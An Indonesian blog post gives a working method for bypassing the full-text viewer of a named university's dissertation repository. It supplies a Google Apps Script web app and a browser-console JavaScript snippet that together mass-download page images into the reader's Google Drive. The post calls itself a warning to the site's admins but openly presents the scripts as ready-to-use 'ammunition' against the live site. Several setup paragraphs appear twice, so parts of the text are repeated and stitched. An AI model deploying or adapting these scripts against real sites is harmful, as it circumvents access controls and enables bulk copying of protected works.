Beginilah jika sudah di ujung semester. Laptop, usb, hdd, dan Drive penuh dengan jurnal dan literatur. Pikiran juga sudah kabur kemana mana mikir proposal.
Jadi apakah ada website yang sedia banyak refrensi literatur?Jawabanya banyak... Gugel aja. Tapi tidak semua website menyediakan secara fulltext. Jadi sembari mencari Literatur, selalu muncul di benak untuk mencermati setiap sistem informasi suatu repositori. BENAR SAJA, telah kami temukan satu celah pada salah satu web repositori universitas di Banda Aceh.
Batch Fulltext Literature. Javascript, GAS, & GoogleDrive | etd.Unsyiah
Preliminary
Tips ini ditulis semata-mata sebagai alat bantu mendownload hasil disertasi dari web unsyiah, ujicoba penetrasi web melalui konsol, dan sebagai peringatan atas lubang di sistem unsyiah.
Merupakan suatu script yang kami tulis menggunakan bahasa pemrograman javascript, Google Apps Script, dan bantuan Google Drive yang mana javascript kami inject menggunakan konsol bawan browser kemudian di proses melaui side server yang dibangun menggunakan Google Apps Script.
Merupakan suatu script yang kami tulis menggunakan bahasa pemrograman javascript, Google Apps Script, dan bantuan Google Drive yang mana javascript kami inject menggunakan konsol bawan browser kemudian di proses melaui side server yang dibangun menggunakan Google Apps Script.
Ide Awal
- Keperluan akan jurnal dan literatur. Terlebih resources yang fulltext;
- Sistem yang bolong pada website unsyiah mendorong keinginan untuk exploitasi;
- Sebagai peringatan pada admin unsyiah.
Subject
adalah website disertasi unsyiah, atau tepatnya http://etd.unsyiah.ac.id
Metode
Secara garis besar metode yang digunakan dapat dibaca pada Preliminary.
Kemudian untuk script yang digunakan akan kami ulas pada subab dibawah. Namun sebelumnya perlu disiapkan akun Google drive dan folder khusus untuk menampung hasil Batch.
Google Drive
pada google drive perlu disiapkan folder khusus yang mana didalamnya akan digunakan sebagai root dari side server yang akan dibangun menggunakan Apps Script. Kemudian folder receiver dan catat id_drive dari folder receiver!.
Apps Script (Side Server)
Sebelumnya google drive antum harus sudah terhubung dengan addon Apps Script. jika blum terhubung silahkan hubungkan terlebih dahulu, caranya silahkan googling.
Jika fitur Apps Script sudah terhubung, silahkan buat script baru didalam root folder yang sebelumnya telah dibuat.
Copy-paste script dibawah kedalam jendela Apps Script kemudian save.
Selanjutnya, Deploy script as web app caranya dengan klik Publish > Deploy as web app...
Ikuti langkahnya hingga selesai. Jika antum dimintai otorisasi dan muncul app tidak dipercaya, Just select "Advance" > goto yourscript and "allow";
Kemudian catat web app Url untuk langkah selanjutnya.
Javascript (console)
Kemudian untuk script yang digunakan akan kami ulas pada subab dibawah. Namun sebelumnya perlu disiapkan akun Google drive dan folder khusus untuk menampung hasil Batch.
Google Drive
pada google drive perlu disiapkan folder khusus yang mana didalamnya akan digunakan sebagai root dari side server yang akan dibangun menggunakan Apps Script. Kemudian folder receiver dan catat id_drive dari folder receiver!.
Apps Script (Side Server)
Sebelumnya google drive antum harus sudah terhubung dengan addon Apps Script. jika blum terhubung silahkan hubungkan terlebih dahulu, caranya silahkan googling.
Jika fitur Apps Script sudah terhubung, silahkan buat script baru didalam root folder yang sebelumnya telah dibuat.
Copy-paste script dibawah kedalam jendela Apps Script kemudian save.
/*---------------------------------------------------------------------------------------
ByPass_unsyiah.ac.id_repository v 0.0.01
ByPass unsyiah server and scraping certain content
Google AppsScript
Author : GB_Sources
----------------------------------------------------------------------------------------*/
function doGet(e){
try{
var recv_id = e.parameter.id,
base = e.parameter.url,
n = e.parameter.n,
ms ="";
if(recv_id == undefined){ms +="\n please Declare following: \n - id = <gDrive_folder_id> \n - url = <raw_byPassUrl> \n - n = <number_of_page>"}
batch(n,base,recv_id);
return ContentService.createTextOutput("200 "+ms)
}catch(err){
return ContentService.createTextOutput(err.message);
}
}
function addFile(n,uri,recv_id) {
var dr = DriveApp.getFolderById(recv_id),
cont = UrlFetchApp.fetch(uri).getBlob(),
f_id = dr.createFile(cont).setName(addZero(n)).getId();
return f_id;
}
function batch(n,uri,recv_id,nt){
var ms ="";
try{
for(var x = 1; x<=n;x++){
var itm = urut(x),
url = uri+"-"+itm+'.png';
var f_id = addFile(x,url,recv_id);
ms +=itm+' ['+f_id+'] '+url+' :success \n';
}
}catch(err){Logger.log(err.message);
ms += "error: "+err.message;
}
DriveApp.getFolderById(recv_id).createFile("log.txt", ms);
}
function addZero(x){
if(x < 10){
return "00"+x;
}
if( x < 100){
return "0"+x;
}
if( x > 99){
return x;
}
}
function urut(x){
if(x < 10){
return "0"+x;
}
else{
return x;
}
}
Selanjutnya, Deploy script as web app caranya dengan klik Publish > Deploy as web app...
Ikuti langkahnya hingga selesai. Jika antum dimintai otorisasi dan muncul app tidak dipercaya, Just select "Advance" > goto yourscript and "allow";
Kemudian catat web app Url untuk langkah selanjutnya.
Javascript (console)
//Scraping data
d=document;
ind = d.getElementsByName("page")[0];
st = d.styleSheets[8].rules[0].style.backgroundImage;
base = st.slice(5,st.length-9);
//initServer
var Drive_id ="<Drive_id>", //fill with google received drive folder_id
server ="<Server_appsScript_Url>", //SideServerUrl don't change it
param = {id:Drive_id,url:base,n:ind.length};
$.get(server,param,function(data){console.log(data)});
Sesuaikan beberapa script berikut:
- <Drive_ID> dengan id_drive dari folder receiver yang telah dibuat.
- <Server_appsScript_Url> dengan web app Url yang didapatkan sebelumnya.
Seluruh amunisi telah siap.
Eksekusi
Dalam tahap ini antum sudah harus menemukan target literatur yang akan di batch, jadi silahkan berselancar di etd usyiah terlebih dahulu. Jika sudah ditemukan, langkah selanjutnya adalah masuk pada mode "Baca full text". Lalu buka web console dengan F12 dan masukan javascript kemudian enter. Tunggu hingga console memberikan respon dan buka folder receiver yang telah dibuat.
Kesimpulan
- Terdapat lubang pada sistem etd unsyiah;
- Tips/trik ini ditulis untuk menunjukan lubang pada sistem unsyiah, dan menguji hal apasajakah yang dapat di eksploitasi dari lubang tersebut;
- Script diatas dapat digunakan untuk mendownload dan backup fulltext literatur dari etd unsyiah;
- Batch Output akan ditampung pada folder receiver yang telah dibuat pada google drive, dan tergantung pada id_drive yang dimasukkan.
Video demonstrasi akan diunggah pada postingan berikutnya.
Salam